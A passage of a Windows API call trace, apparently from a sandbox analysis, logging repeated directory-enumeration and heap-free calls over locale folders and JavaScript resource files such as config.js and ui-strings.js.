lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.239] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0183.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.333] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0183.333] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0183.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.333] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0183.333] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.334] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0183.334] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0183.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.335] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0183.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.401] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0183.401] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.401] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0183.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.401] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0183.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.402] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0183.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.402] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0183.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.402] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0183.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.402] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0183.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.403] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.404] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.404] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.404] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.404] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0183.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0183.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.405] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0183.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.406] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0183.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.407] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0183.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.407] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0183.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.426] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0183.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.426] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.427] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, 